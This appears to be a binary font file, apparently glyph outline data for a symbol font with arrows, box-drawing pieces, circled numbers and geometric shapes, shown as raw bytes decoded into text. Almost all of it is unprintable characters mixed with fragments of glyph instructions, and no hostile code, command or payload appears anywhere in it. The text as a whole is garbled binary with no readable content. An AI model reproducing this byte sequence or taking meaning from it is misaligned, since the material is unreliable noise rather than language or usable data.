�^X�bh�`n�
�^V��e����NF<>LT�NF<>L>��������)�P14%&#"5>32%5%%%3267#"'&'&/'
k
X�bh�`'+k��u�E%��s��k
�^V�hj�bn�
"P�v��1-LT�ND���9A�T�j�͊����<JV�ND:
�<�nW�/�V143267#"'&'&'&''75676?5%7%5%'�u^06
�^V�hj�bn�
G;h�V86VbhZMS<�a�^������������
>LT�NF<��=�	&T�N#�w���f=��J;�N�}
55	5����8�@���'�����������p�o�N�}
	5	55�@�������'���p�o���������m�`!-%5%%%'5%%5
MM��`���Z�D��OA��@�FZ�D�t�@�m��*�_TW����&��o�}�䎲�����w&-r�~����bU�m�`!7/%5%%'%5%75%���J����v�a�d���",��,��V`�b�L"��_D2,�/*/����&�O{������¸��[&�}���������P
%5$�r��	��o��s�a��a^�~�|�|���P
55%$��s���o�	��a�|�|���^a�)�W!%5%5$�g��V����$����}��������]]���x��|��)�W3%55%$��V���g��}���$�����BW��|�����]]�R�W(%#"'&'&'&#"5>32326%5$�i�an�
�^X�bi�an��^V�g���$����}���NE;=LT�NE;=K$��]]���x��|��R�W(%#"'&'&'&#"5>3232655%$�i�an�
�^X�bi�an��^V��e��}���$��NE;=LT�NE;=K$��|�����]]���&%5$%67%'����E���t�֋$���k��}u�U)�?�eK�tu��u����"��	K
9'���'567$'567&'��%�=���⃹�t�֋���~����}uRU)�?���K�u��u,��ަ�K��9'���_%!"'&54763!!"3!��ʊ����@����^`�@����ƍ�����^`���_75!27654&#!5!2#�@�`^����@Ȋ���ʣ�`^�������ȋ��;��	#";3!!!!#"54763����^`�0�r�rn�d�f�lp�p�ꊊ����^`&p����p���h�ƍ��3��	32654'&+#!5!!5!32#���^`�0�r�r������p�p����9���^`���p���h�����ƍ����7!!!"'&54763!!"3!���Ɋ����@����_`�@��,���ƍ�����^`���7!!5!27654&#!5!2#��@�`_����@Ȋ���ɖ�,�`^�������ȋ�����	'!";!!!!'7!5!7&'&54763!7!!�ʉ�_`�'�}�E=���a�L��T>������sc�L0��R���^`����5������ƍ��7�����	'327654'&/!5!7+!!'7!5!7!5!^��`__BV��	5c�TpX����?��b�L��m>�U��`^��`C	��7� X��ȋ����5������j�� )5!7!!'!"'&54763!!"3!�.Bqx-�qxD��Ɋ����@����_`�@��Z<��Zh���ƍ�����^`��j�� )5!7!!'5!27654&#!5!2#�.Bqx-�qx�'@�`_����@Ȋ���ɖ�Z<��Zh�`^�������ȋ���332653#"757!!�����������<tc��t<RP������7�����*�-�<uUt<��332653#"3#���������|��RP������7�����*O���332653#"3##5#535�����������e��WP������7�����*�d��d����!!!!���X�����ɪ���!5!!5��X����u�7��V�!!!!!!���X������ɪ���V�!5!!5!5��X�����u�7������e#!#e��Ȫ��X���e33!3٪8���X������$3?"2767>54&'&'$  &'&'&547676!!#!5!��]\LMLLML\]�]\LMLLML\���bc1111cb���bc1111cb�d�����d�''LM�mj�ML''''LM�jm�ML'�dbcwv��wvcbddbcvw��vwcb������e�e����$7!!"2767>54&'&'$  &'&'&547676�r��$�]\LMLLML\]�]\LMLLML\���bc1111cb���bc1111cbתa''LM�mj�ML''''LM�jm�ML'�dbcwv��wvcbddbcvw��vwcb����$3?"2767>54&'&'$  &'&'&547676''7'77��]\LMLLML\]�]\LMLLML\���bc1111cb���bc1111cb�x��y��x���''LM�mj�ML''''LM�jm�ML'�dbcwv��wvcbddbcvw��vwcb����x��y��x������$7	"2767>54&'&'$  &'&'&547676�px��g�]\LMLLML\]�]\LMLLML\���bc1111cb���bc1111cb�px���''LM�mj�ML''''LM�jm�ML'�dbcwv��wvcbddbcvw��vwcb����$73#"2767>54&'&'$  &'&'&547676�����]\LMLLML\]�]\LMLLML\���bc1111cb���bc1111cb��''LM�mj�ML''''LM�jm�ML'�dbcwv��wvcbddbcvw��vwcb����$	2L"264&'2#"&54>"2767>54&'&'$  &'&'&547676ZPnn�noO@v+..�������]\LMLLML\]�]\LMLLML\���bc1111cb���bc1111cbAoPOmm�p�1.-rB�������''LM�mj�ML''''LM�jm�ML'�dbcwv��wvcbddbcvw��vwcb����$+E
%#'-73%"2767>54&'&'$  &'&'&547676�C4��f��4C��4/f/��]\LMLLML\]�]\LMLLML\���bc1111cb���bc1111cb1��X���S�X��Y�S���''LM�mj�ML''''LM�jm�ML'�dbcwv��wvcbddbcvw��vwcb����$!;!!!!"2767>54&'&'$  &'&'&547676��������]\LMLLML\]�]\LMLLML\���bc1111cb���bc1111cbj����''LM�mj�ML''''LM�jm�ML'�dbcwv��wvcbddbcvw��vwcb����$37"2767>54&'&'$  &'&'&547676!!��]\LMLLML\]�]\LMLLML\���bc1111cb���bc1111cb8����''LM�mj�ML''''LM�jm�ML'�dbcwv��wvcbddbcvw��vwcb������$��?�3������ް2�2�2�	�
����	ް2����/�3������ް2�2�2��	��
��ް2�����01!%!!!!#!5!Q�X>���d�����d������Y�����e�e����$T�
?�3������ް2����ް2��	��/�3������ް2�	��
��01!!!%!!�r��P�X>��ת\���������$C�?�3�
�����
ް2����/�3���
���ް2�����01		'	7	%!%!!=��ky����yk��yjj���X>�����xj��yjjy��k$���������$3#!%!!���a�X>����������J�5�?�3�/�3�,�,�/�/�/�3�,�,�,�,�0133!!�����u�p�J��,���21�,
?/�/0!#!5!3J�����I��,/��20�,
?/�/1!#!5I�s��s����I�/�?�3�,�,�,�,�/�/�/�3�,�,�01%3!!5<���f���|�5�?�3�/�3�,�,�/�/�/�3�,�,�,�,�0133!!�N����u�p�|�N�?�3�
/�3�,�	,��ް2�,�,�/�/�/�3�,�,�,�,�,�,�01!#3!!!!.N��N����$��J�N�?�3�
/�3�,�	,��ް2�,�,�/�/�/�3�,�,�,�,�,�,�01!#3!!!!.������$��J�R�?�3�3�	3�/�3�,�,�/�/�
/�/�	/�
3�,�,��ް2�,�,�,�,�01!3!!!#3��G����u�p��J�o�?�3�3�3�3�
3�	/�
3�,�,�/�/�/�/�/�/�/�3�,�,�
�ް2�,�,��ް2�,�,�
,�,�01!#33!!!#3.GV������f��u�p��J�k�?�3�3�3�/�3�,�
,�
�ް2�,�	,�/�/�/�/�/�3�,�,��ް2�,�,�,�,�,�,�01!#3#3!!!!.c��G��G��f��$����J�33!!!'!�'Ss��j�\��s=���u�5�Y�6��p���J�!!!!'!#3!7!�s���j����s�hx�j���5����6��$��$�������J�!!'!#3!#3�s����6��s=������5�Y�6��p��u������J�!#3!!!!!'!#37!��s�:��j��s���j�G��$-5����6��$��������]*5$%67654&#"'632#"'732654'&'$��@�e=M>P7sZ�����w㔰��Zs7P>M=e��.�(Y7O0<0:>~j�y�[�<<�[�y�j~>:0<0O7Y���]*327#"&5476%$'&54632&#"�e���e=M>P7sZ�����w��㔰��Zs7P>M=e�@�.(Y7O0<0:>~j�y�[�<<�[�y�j~>:0<0O7Y(���	51���� ��������	�^��� bb�:�����d
5!	5������b����������d
5!	���^���b��bb�:��yf��%/2#"'&'!#"&54632!676"264&j95/-)*�xzQ3�Q3Txz��w:5/-)�4S��9OOsOP�,)f<w�Q3CB3R�yy�,)3
D5S�P99OOqQyf��%/2#"'&'!#"&54632!676"264&j95/-)*�xzQ3�Q3Txz��w:5/-)�4Sx:OOsOP�,)f<w�Q3CB3R�yy�,)3
D5S�P99OOqQafS�7!676767632#"'&'%"2654&b�*-.5:x��yyS49POtOO.�
3),�yy�R3B�QqOO99Py��;d3#!!#3%!5!��(
�󀨨���
d��s
���<�!##5!#T~�N���
35!3	3#�K���#"������T��^��
!!3#	�K��@i�h�������^��T��
!!3	3#�K��@�#"���쪠�T��^�~)3!!&'.'&����ZV��F%�,E=Ώ?~��%F�VZD��A?��=�~	!53��*�,Ԫ�֪������w��	#	#���}�}�����w��J���w��	3	3�!����#�wJ��w����w�@����1@
���0"# #4$H�̭�������9�B(���� ����w�@����1@
���02$53 3H�4��C��C�1��� ����(B�9������	r�������������H�F�H��1��03#���F��1		!!'�+]^*�^��]���䰰���3#3#!5!7	!!	'����R�L���x��x����Lux�6�6x���<�ux�6�x�����x�6x��'B	'	�''�ٛ��>���P��Nq^�D^�����'B%		!'���''�t����N�����P�^�D��'B5		5!�''����6�b�N��P�������'B5	5���tN��>����]�P��'B	5	'���N�t�>P�������`��32?632.#"#"&'!5�g�V^��na�ib�X^��na�i���UK=	;EN�SL=;EO�Ȫ�cy�
33#c�u?Ik�8f�f����%�q����#cy�
33#c�f�f���I?��#���q�%������
)!"3!!"'&5463!! '&76)!"3!�k:((P:��j�ZY����k�񼽽���jȊ�����()9:P�ZX����D��
������ȋ����
)5!2#!5!2654'&#5!27654'&#!5! !����YZ��j�:P((:�k�Ɋ����j�����������XZ�P:9)(���ƍ���������N$!4&"#47632! #4'& �PtP�ZX����D|������p���:PP:�:ȀZX���8�x����8�Ȋ����:���1$2653#"&5! '&3 765�PtP�ZX��������������1�::PP:�8�ZX���:����8Ȋ�����|8�4'&'##47673#�Z:K�K:Z��l���l����Y:�:�:Z��a�Ȍla��l��a�4��###!5!5!5!333!!!!'5#Y����~��~������~��~���,��,��3��3�ͨ����^��
3#	5���7���������Ѧ��^��
3#55=��d����/��/�m�.
��
	5	5	5
��:��6���:��6����:��6�p�r��
�p�r��
�p�r��
�.
��
555555�6��:86��::6��:������������������������.��
	5	!5!	5���?�����@�������������N���p�o�.��
5	5!55���?��������ްo�p���9�������������
%5	5!���@����o�p���9�����
7	5	!5!���?��������������)�W5$%5$�T��i����}����$���_��������|��x��]]�)�W5$%$5��i���T�$����}����B����!]]����|�����!&!%'&'57&%5$%67&%7��*������?���;�������i���@��]0qw^�%���KA6#�(A�F+�<zK��d�ה`�g��և���f#���!&5$%'56?5$%7$67&����������X'}�8���u��c�̻B8���
#%���MK��.�0Q�t;�L��K1gעv�}���iwi����#!!!!!!'7!5!7!!!M�XF�}�`�c.��m�X���.�P����#:���������:������h�����#!!!!'7!5!7!5!!5!!M�XF�c.��m�X���.�P��6x��#:��D����:����h����h�?��!!!!!!'7!5!7!���X�UM����M�#UZ�Q��m��bm���?��%!'7!5!7!5!!5!!����M�#UZ�QX���UM���bm���h��Dm����"%&#"5>3273267#"''	5�cCX�bh�`^xn�ieEV�hj�b_zl�]�@���LT�ND*�F� JV�ND+�F���p�o����"%&#"5>3273267#"''55�cCX�bh�`^xn�ieEV�hj�b_zl��[���LT�ND*�F� JV�ND+�FͰ���������W&&#"5>3273267#"''%5$�cDX�bi�a]ym�ieEV�gi�a`yl�]���$����}�. LT�NE+�F� KU�NE,�F���]]���x��|����W&&#"5>3273267#"''55%$�cDX�bi�a]ym�ieEV�gi�a`yl��S��}���$3 LT�NE+�F� KU�NE,�F���|�����]]���7%'%5	'瞃��۞��L�О��
@��Y�8��@�\���9�@a����'	7%͞��G۞�����О����@?Y��@�����<9�@����}��5!%57%!!'71��|���I��������v�\'��
��:��q��ߦ[�@��Z�8���@��_��}��7!!'7#5!7%%%������9�J�pv�\�]�FGjq���8@�ǹ�������@�����<p^�������Bi�'X���'X�rX��������&X�'X���Xe�����B�'X��'XerX������B�'Xe��'XrX���W����!!5!676$3!!!!!!"$'&�D�M^d���G���KA�@J�����H���^Hs����ȟMO�x]�Jx�NL�ư����I�!!"$$3!!!3#W����G�����c���G���	U��sJ�����`t`ȟ���]�@���g% $$)!"!53#5!3!+���*(��F�kN莎�%Fr�����Q;�����0Q������IH'X8����I� !!"$54$3!!!!5!W?J�����G�����c���G���K@	���[sJx�NL��`��`ȟMO�x]������}% $54$)!!3!!5!+���*(��F�iNv��%Fr������O:���0Q�V����I� !!"$54$3!!!!5!W?J�����G�����c���G���K@	���[sJx�NL��`��`ȟMO�x]��g����I�!!!!"$54$3!!!!W�CJ�����G�����c���G���K�s�"�NL��`��`ȟMO��W����!!!#!5!676767!5!&'&'&'!5!2���FM^����H����KA��@J����G��d^H'����ȟMO�x]�Jx�NL�ư����I�&$'!5!2#!5!6$7!#3����G��c������G���	����'J��������ȟ�]��������g )5!2767!#3!&'&#%5�(*���F��kN����%Fr�Fg�� ��Q:��欑0P����I� &'&'&'!5!2#!5!676767!5!5!�?J����G��c������G����K@	�[��['Jx�NL�������ȟMO�x]�����} )5%2767!5&'&!5%!5!�(*���F��iN��v%Ft�F��g���P:���1R�����!!!!!!�d���F�d���(�ª����#27#"''7&54&#"32654'���ucvn��ݸ�vcuo<�d���Gcc~��Eqvcv����ovcv���<�H饀cbG飀brLR�5����0z��J�.������	3	%!	�����������$��`��y�����	'3-��x�Z�x����x��vx�%3#7-Zx�xZ�vx�x�v�x���?'��&����'��&&�������mS'64'&54764'&54�po0R�p1R�pp0S�p0RS�`E-@ll��bB/@ll���aq?mf��aq?le�����
!##a����m��!	##7 ���G���������33b������"�m���!!733��X�G�����b�3#5!��W������d�b��!53#�������������5!%#3�W�q����Xd��!5%#3��� �����8X��^!#���^��k?$%%$����������������������~���������	1;FOY!! &546;#"&546 !54632+32#"&=54&#"3#"32653264&"2654&#l(�ع���������(���������������DbEDbbE��EbbEDbP�Dba�bb�abDv(�D�������(���������������غ������P�Eaa�b��bDEbbD�b�aaE�	�DbbEDb��^!3!���Z?�k�g�!#!��i�������g�7!#���i���S��p:!!3:�v��i����j�py3!3!��i���v�S���l4732#"'&'.#"0���Pd@7+	h�$��TA6?&H������*�u�
#"&546323250u��Pd@7+	h���$����DTA6?&Hk-k����	'3%!5)!o�&xRZPx�(���F����D��(xR��x�H�����!!!!%!!���b�F���D��D�����O	3!	3	)	!	3	��
����v����
������v�v��������vv��!
����tx��3!3	)	!	3����v����
������v�����vv��!
�����+x�#/;GS_kw�����������+7CO[gs����������!2#!"543!254#!"+"=4;2+"=4;2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;22+"=4#"=43+"=4;2+"=4;2"=43!2#U���ݓJ�II�J%J%%J%�%K$$K%J%J%%J%�F%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%�%%�%�C%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%$%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%$%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%�%J%%J%%�%%�%%%%�*$%%�%J%%J%�%K$$K%��%%%%��������JJJ�I%%I&%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%%J%�%��%%� %I%�HJ%%J%%J%%J%�%J%%J%
�	)	!#	3		#	3
��W��
�����v���

���Ў��v�v

�������
�
�����v��Ff�			7'3#vv����r��&9�99�"9�"rr5��k�k����\��S���SAc��c�\c��c������n`�����V�{������'`���q���y�	�.�!!#!#7!f�b�"�b�b�"�����������
!'7'7!!5!5!���x��wx���Fb����x�wZ�wx�����#��%!	!	!	�l���(��+�R�[��Srvv���������P�#53sà�����Z�����0�������s�3#�����s��P�#5s�ˠА����W��eE�&2����P�53�Z���������y�����i����P�#0P���s	���P�3#�à�Р˓���������[���Pm#!!s���#��	q����s�3#�����s��P�!!s�`��N�	u���Pm!5!��#���������Pz3#���z����Pz3!5!��`�z������Xm
#4763!!"]�oy���eD9��uߑ��fW����]�#'&%'53 763�:*e�nK��==Mn�e(� =��C���_A�Ec���H�<��X�
3!!"'&5]9De��{o����Vf����d���]�#3]����	����]m
4'&#!5!2�9De���yo��}�Wf��������X�&'&3!3#76l<(e�nM==��Kn�e*�!<����McE�A_�I����=��]�
3#!5!2765��o{���eD9���Ꮮ�fV���u�3��	��w7�@�%	!!!5	5!!3��7���d��
�������h��r������v�����!	!!��
���$�<���Ff�+			276764'&'&">  &vv����r���n66\]�]\6666\]�]\6������5��k�k����\��S���S��]\6666\]�]\6666\�������!�
� ��mZ""2676/2#"'&7676?3�ʆ""#!ʆ""#u�@?))kj��@?))kj����摤���VV���V�oo��oooo��oo���)t'�����}>32#"&'#'%73%&  �N�{�g���{�' ���L%�6���Oz���Oz$�da����ad��]ch��aam�@���j�5�.��!3!3��b���������^������
&ۺ+��#+�#�+�A&6FVfv������
]A��]A��]A)9IYiy������
]�+��
+�
�$%+�$��01! 4$32! 4$#"35%33!��?���?�q��q�W����������|�������A�?�r�����p��G������~+�/�������
8?�+��3&+�3�+�A&6FVfv������
]A��]A��]A)9IYiy������
]�3�и/A�&�&]A&)&9&I&Y&i&y&�&�&�&�&�&�&
]�,9�+��
+�
�+��0)+�001! 4$32! 4$#"!!56$7>54&#"5>32��?���?�q��q�W����������O��\R!>/_N;�sa�=��0>���A�?�r�����p��G��������M�"?U(?N&:�$�}:iF������
D��+��B5+�B�+�A&6FVfv������
]A��]A��]A)9IYiy������
]A�5�5]A5)595I5Y5i5y5�5�5�5�5�5�5
]�5B9�,5B9�,/A�,�,]A,),9,I,Y,i,y,�,�,�,�,�,�,
]�ܺ&9�;9�+��
+�
�)"+�)�?8+�?�2/+�2�/2901! 4$32! 4$#"#"&'532654&+532654&#"5>32��?���?�q��q�W�����������
v��@�X[}Duskc��ZX\[4yk_�=��h��A�?�r�����p��G������]���0OLGN�<:<? ��sQr�����
)�+�� +� �+�A&6FVfv������
]A��]A��]A)9IYiy������
]� �$и�&��+��
+�
�"#+�"�и#�'�01! 4$32! 4$#"%!33##5!5��?���?�q��q�W�������������
΍���C��A�?�r�����p��G����O��H����ӎ�����
9K�+��+��&3+�&�+�A&6FVfv������
]A��]A��]A)9IYiy������
]�-9A�3�3]A3)393I3Y3i3y3�3�3�3�3�3�3
]�+��
+�
�0)+�0�+��#6+�#01! 4$32! 4$#"!!632#"&'532654&#"��?���?�q��q�W�����������=�o?��վ@�X_wDhvvh2eY��A�?�r�����p��G������
�����/aUVa%�����
'@��+��;+��5%+�5�+�A&6FVfv������
]A��]A��]A)9IYiy������
]A&6FVfv������
]A��]A�%�%]A%)%9%I%Y%i%y%�%�%�%�%�%�%
]�)%59�+��
+�
�"8+�"�>,+�>�2+�201! 4$32! 4$#""32654&.#"632#"&5432��?���?�q��q�W�����������N\\NN\\�Ta/w	�N�� ����5j��A�?�r�����p��G�����b[ZbbZ[b��#�P=������������
"�#/�$/�ܸ#�и/��A&6FVfv������
]A��]���A��]A)9IYiy������
]� 9�!9�+��
+�
�!+�01! 4$32! 4$#"!#!��?���?�q��q�W����������k����Q�1��A�?�r�����p��G����K�������
'?K
�+��=+��1F+�1�+�A&6FVfv������
]A��]A��]A)9IYiy������
]A&6FVfv������
]A��]A�F�F]AF)F9FIFYFiFyF�F�F�F�F�F�F
]�%F19�%/A�%�%]A%)%9%I%Y%i%y%�%�%�%�%�%�%
]�+=9�+/�4F19�%�7ܸ+�@��+��
+�
�":+�"�.I+�.�C+�C�4C901! 4$32! 4$#""32654&%.54632#"&546732654&#"��?���?�q��q�W�����������T__TT__��j����iv����vWQMKRRKMQ��A�?�r�����p��G�����PIIPQHIPIvSt��tSv�\����\��=BB=>BB�����
4@��+��>)+�>�+��/8+�/A&6FVfv������
]A��]A��]A)9IYiy������
]A>&>6>F>V>f>v>�>�>�>�>�>�>
]A�>�>]�)>9A�8�8]A8)898I8Y8i8y8�8�8�8�8�8�8
]�+��
+�
� 2+� �,;+�,�5&+�501! 4$32! 4$#"532676#"&54632#"&2654&#"��?���?�q��q�W�����������Ua.w
�O�� ����5k�N[[NN\\��A�?�r�����p��G�������$�O
<���������b[[bb[[b�����
&2>��+��#+�#�*<+�*�60+�6�+�A&6FVfv������
]A��]A��]A)9IYiy������
]A�0�0]A0)090I0Y0i0y0�0�0�0�0�0�0
]A�<�<]A<)<9<I<Y<i<y<�<�<�<�<�<�<
]�+��
+�
�-9+�-�$%+�$�3'+�3�$��01! 4$32! 4$#"35733!"32654&'2#"&546��?���?�q��q�W����������͞��u��>@EE@?FF?���������A�?�r�����p��G�����>>'�*�6�ޗ�������{����������j�5!�j�����l!�X�����3��	����!�@�	��<j�5!!5!!5!r#�B#�B#j������<�l!!!!!r#�B#�B#X��X��X���m�333������mj��j��j���m!!!�@��@��@�mj��j��j��<j�53353353353<�x�x�x�j��������<�l3333333<�x�x�x�X��X��X��X���n�3333�������p��^����^���^����^�n!!!!�@��@��@��@p��^����^���^����^��!!�������l!!��l������!!��#������l!!��#�l�������!5!���j������l!!���X����!5!�$�j�����l!!�$�X��j��3!�-j�����3!�-m���j��!!�@�j������!!�@�m����j��5!3,�j�k������!3,�X����j�5!!�@j�k�����!!�@X�����3!!�-��	���������3!!�-��	��������	#!!!P@��j��������	33!!�P�-�#�k��������!!!�@�#�	���������	#!!!P@��m�������	33!!�P�-�#�l�������!!!�@�#�	���������!5!3��,��j�k�����!!3��,��X����	!5!!#���@P�j�k�����	!5!33�$,�P�j�k�������!5!!�$�@�j�k����	!!!#���@P�X�������	!!33�$,�P�X�����!!!�$�@�X����!5!!�����j�������l	!!!!���-��XV������l	!5!5!!��,��j�V�������l!!!�����X�������!5!!�$��#�j�������l	!!!!�$�#�XV������l	!5!5!!�$��#�j�V�������l!!!�$��#�X������j��5!3!,�-j�k�������	!3!!,�-��X���V����	5!3!!5,�-�3j�k��V����!3!,�-X����j��5!!!�@�j�k�������	!!!!�@�#X���V����	5!!!!5�@��j�k��V����!!!�@�X������#!5!3!����,�-j��j�k�������!!3!!��,�-��X���������!5!3!!��,�-��j�k��������!!3!!��,�-��X��������!5!!!!���@��j�k���������!5!3!!�$,�-�#�j�k���������!5!!!!�$�@�#�j�k���������
!!!!!#���@�#P�X���V������
#5!5!!!!P�$�@��V�k��������
!!33!!�$,�P�#�X��V�������
!5!533!!�$�P�-�#�j�V��������!!!!!���@��X��������!!3!!�$,�-�#�X��������!!!!!�$�@�#�X���������!5!!!!�$�@�#�j�k��������!!!!!�$�@�#�X����<j�5!35!<�y�j����<�l!!!���X��X������33���lU���TT�����!!�@��@lU���TT�������5!5!���������x�X�333x����	��	�����	!!!!��-��¬���Bx��	!!##xm�s������j��x���!!3!!xm�3�-�s�¬��j��B����	!5!5!5!��,��������>��X	5!###l���j���j��j��X�!5!!!5!��4l� �t,���>�������	3!!!�-��-��A���xj��	333!x����j��k���x���3!3!�������k�A����������	5!5!5!3,��,�������=��jX�	5!333����j�k��k�����X�5!35!3����̠��������=���3!!!!�-��-��	��A����Bx���333!!x�����s�	��	������x���	3!33!!�������-�sk�A���	��j��B����!5!5!5!3��,��,����������X�!5!333x�t�����j�k�	����X�5!3!5!33����t,������������	������!5!!5!�����4������B�����5!!###��s���j����j��j����	5!!5!3!!����t,�-�s��������j��B�����5!5!3!��,�-���X���A���j��5!333!�����j�k��k��������	5!5!333!����������X����k�A�����!5!5!5!3!!!!��,��,�-��-��������A����B����5!333!!###������s���j�k��k�����j��j����!!!!5!5!333!�-�s� �t,��������j��B��������k�A���43!!"��y��Y[�p��~|�����4&#!5!2[Y��x���p~|�������j��5!2653#xY[���j�~|q����j��!"&533!����[Yyj��q��|~���*m3YѲ�/�	Y�����*m#3*��/��	Y���*m#	#	3	3*����i������������S��jh5!|j�����3����?hj�5!h}j�����3����@��hl|X�����!�@���?h�l!h}X����!�@���@���l5!5!!5�i��j�V��V��333�P�P����?�@���l!!!�i��XV�V��#!#P@P����?�@�����;�
d���;�?!O�?����;j!O�j����;�!O���k��;�!O���@��;�!O����;!O�����;B!O�B����;�!O�	����q�!��	������!��	������!�	�����!'�	����I�!]�	�����!��	������3�	�����:�
l'�bm#'+/37;?53!5353!5353!5353!5353!5353!5353!5353!53�(���'�O�'���(���'���(���'���(����������������6����7����5����7����6����(�'l#'+/37;?CGKOSW[_cgkosw{��������#5353353353!3#%3#%3#%3#3#5#53#53#1#53#1#53#75353535313#3#3#3#75353535313#3#3#3#75353535313#3#3#3#���������b�����������b����������������������������������������������������������������~�������������������!���������������������������������������������������������������������
�'m59=A35#%35#35#%35#%35#35#35#35#35#35!35!#5#!5#35735#35#�����������������w�������N�O�����������Ŷ�Z���X�Y���I6�����������������Z�������B;�
aB��q�:�
o����!(���@���;�
v'������
v���;�!!!;��('�	��@����;�'
v�
v'��;�!!;�����@�@	���;�!!!O����������;�
v'�����;�&
v
v'���;�!!'(��������%!�� �����%!!!,7��r�<�R �����%%3!254#!") ) ,�o���rVoV������Z��t��tV�����������%&
�
����%!%!5!5!5!5!5!5!5!5!5!��W7��7��7��7��7�� ��r�r�r�r�r����%!%3#3#3#3#3#��ᰰ�ܲ��ް��ܲ��ް�� ��t8��8��8��8��8���%#'+/37;?CGKOSW[_cg35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#!L��$��"�������������� ��������$��������"��������$�����������������ܮ�.��,��,��.�ܮ�.��,��,����.��,��,����.��,��,����.��,��,��.��� �����%
!33775353535��W������!����y�B��ߢ�|�� ��T���}���<�B��� ���������%
!%353555#5#5#57#��������!��y�y�B�����|�� ��r������!�����C����}�����%	 $(-159=AFKOSW\aejos7'#7'7'#7'7'7'#7'7'7'75#7'7'7'7'7'37'75'7'7'7'37'75'7'37'35'!,2|5y2~~2O~~5���~|~�2~~2�~~5���~}}��}}~��~~~�}1y��|~|��|~|��}||��|~|��}}|�z4|2�~12��~~~��~|~��~~~��5�4~�}22��~}~��4�5~4z2��31|4��2~~1O~~4��~|~��1~}1�~~4��}}~��~}}��~~~�|1��|~|��}~|��|||��|~|��|}}��4|1�~2�1��~~~��~|~��~~~��44~~1�1��}|~��44~~41�� ����7!������%!!!,��r���v������%!!��������!!!c�������r����"!�������"!!!,��r�8�V���!�%!!��n�����!�	!!!b�S���n����r��!%	
� ���!%!	�����
��� ���7	�����7!	��������������!%� ���!%	x�;rRff�� ���7����7	x��^r��SS����!7��!7	x��tr�SS�����!%!��$���!%	%!�bc������6�r���!����	%!�QQ������Z�r��!%���!%	��W�����������	���z��������!��!		#��W��������!%	
������!%	�uv����
����xx������!%	>��+��uv����
���)�)��xx�����p���)
)$7632#"'327$%&#"%632#"'��~�~��~�~�eM����M�������>�������y�����J�JJ����JJ6��``���``����qq�|�qq�#�u"@��91��990	�����������9%���-p���)
327$%&#"%632#"'�M����M�������>�������y�������``���``����qq�|�qqr��'	'/7?G%&'&'6767&'&'7%'676727"'64'7&"'62&47\+;.81F9K5�8.42d;E9G�,:.80G9J6�&8.;+d1O9F�L�L&_�`Jn��L�L'`�_��n�<1& j(0=Ju &,A=N:0('<1& j(0=Ju &1<>EB0(��n_I�I'[�[Jn��I�I'[�[p���)
%/36%632#"'327&#"6767&'&6p�������y����AAAA����,+-,,-+�A@@�R��qq�|�qq��%�%m��ܱ[��0$�
%@%��|�"p���)
)73276'&#"7632#"'327$%&#"%632#"'�r99:9rr9:99�XWXX��XXWX�M����M�������>�������y�������B!!BB!!�o�e33e�je33���``���``����qq�|�qqp�� $  $p�k�k����]��A�k����^����p�� $  $27$%&#p�k�k����]��<��M����A�k����^����a`���`p�� $  $"3p�k�k����]��<����M��A�k����^�����`���`p�� $  $%&#"p�k�k����]����������A�k����^����>�``���p�� $  $327$p�k�k����]��\L����LA�k����^����>���``�p�� $  $"327$!p�k�k����]��<����M����M�gA�k����^�����`���``�p�� $  $"!p�k�k����]��<�����A�k����^�����`���p��})6%63"'p�����R��q��q����)#2�y�����|�q*q����(
2654&#"!����|~�����}��}|���v<����	(
$%632#"'327$%&#"!IM����M�������>�������y����_O���``���``�|�qq���qq�H(���	(!#%&#")%632�O�y����y���M����M����qq�>~�``���	3327$3!#"'$��������@1����������>�qq������``�)	%63"������qv`���)	2#%&#���u����)q�>�`��	527$3��Mu�y��v`��>�q��	"'$33��yuM����q����`!)%632#%&#"������u����������qq�>�``�����!03327$3#"'$uM����Mu�y����y���``��>�qq��!%� ���!%� ���!%!� �!%!$��3��!
2654&#"4632"&n�Ȋ�ce�;�~|�����d��dc��c|��|}�����%!%!!�����d� ��r<���%!%!!��W��e� ��r<���%!%!��W7� ��r<���%!%!��W7�� ��r<���%!%!!!!��+c���,b��� ��r<��<�!%

4632"&!	W>>VV}V�2����
j>VV>>VV�J�� ���!%!	c����
��� ���!%!	�b��
��� ��p��( 7& $  %������;�<������������������*����X�֖����%	
!!!!!!,7���,r�Wb���<�)�) ��Ie���%	
!!!!%!!,�c��r�Wb��M�)<�R ��re���%	
!!!!%!!,b��r�+c����e�R ��re���%	
!!!!!!,7�+��r�+c���e�R ��Iep�� $  $!327$%&'p�k�k����]������]��4����M����A�k����^�����O���r���``���O�+p�� $  $67$%&#"!p�k�k����]��u��M���������14��A�k����^����^O���``���r���Ocp�� $  $!%&#"67$!p�k�k����]��\M����̦������4��A�k����^�������O�T�``�%O�Tp�� $  $327$!%&'p�k�k����]��\M����4�0����̉�A�k����^�������``�T�O��T�O���!%7!!x��tr ��R �!%	%!#��W��n�r���!%!x��tr���� ����y��!!!,L��r0R�<6����y��!�0�6�����"K%!!!,��|rhO��n�����"K!�h#n���!%!	#��W���� ��	���"*2:AI3#''%#&'52#"'&5476!!'5%!!'53'5%3'5%3#'sMM7:�=���=�-0�Y
